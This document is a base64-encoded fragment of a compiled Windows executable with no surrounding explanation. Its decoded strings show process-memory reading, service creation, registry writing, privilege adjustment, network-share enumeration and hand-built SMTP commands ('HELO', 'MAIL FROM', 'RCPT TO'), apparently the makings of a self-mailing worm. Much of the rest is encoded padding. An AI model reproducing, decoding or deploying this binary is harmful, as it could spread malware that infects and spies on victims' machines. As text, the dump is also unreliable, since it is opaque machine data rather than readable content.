dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAAMBsCCQgICAA0J6cjpaenI6cBp6 agHCqgpywqoKcgOQiBpycBp6agEKYsDIA7IqkkrSenJwciqiARJKkiIDIkoyChpwGnpqAUoK WgNCenI6WnpyOnAaemoBynqqaioDQnpyOlp6cjpwGnpqAaJ6agO6CkpCCnI6cBp6anBCWgGq IhIDsiqSStJ6cnByKqIBmkqaA0J6cjpaenI6cBp6agGiChISKgMiSjIKGnAaemoBEqqaQgOy KpJK0npycHIqogFqqloKA7oSaFIKggpycBp6cFKCAaJ6Wsp6A7oSaFIKggpycBp6cFKCARoq EkqiCppKCgOaQnq6KpJamnAaemoBWkqiospiKioDSipKcBp6anCiugFTe5srg0NTK2sLY4gD GnpqGgqaonByKqIBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAdDjg5J6OpIKagAzSmIqmuMrCpKiQmNK cloAqHCA4ysKkqJCY0pyWnAyKqoBwuNra1MTcCqaagF6egAjKppKOnIqkuNDeqIAu0IqKmKa AKMKoqJ6eppwsjqKAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB 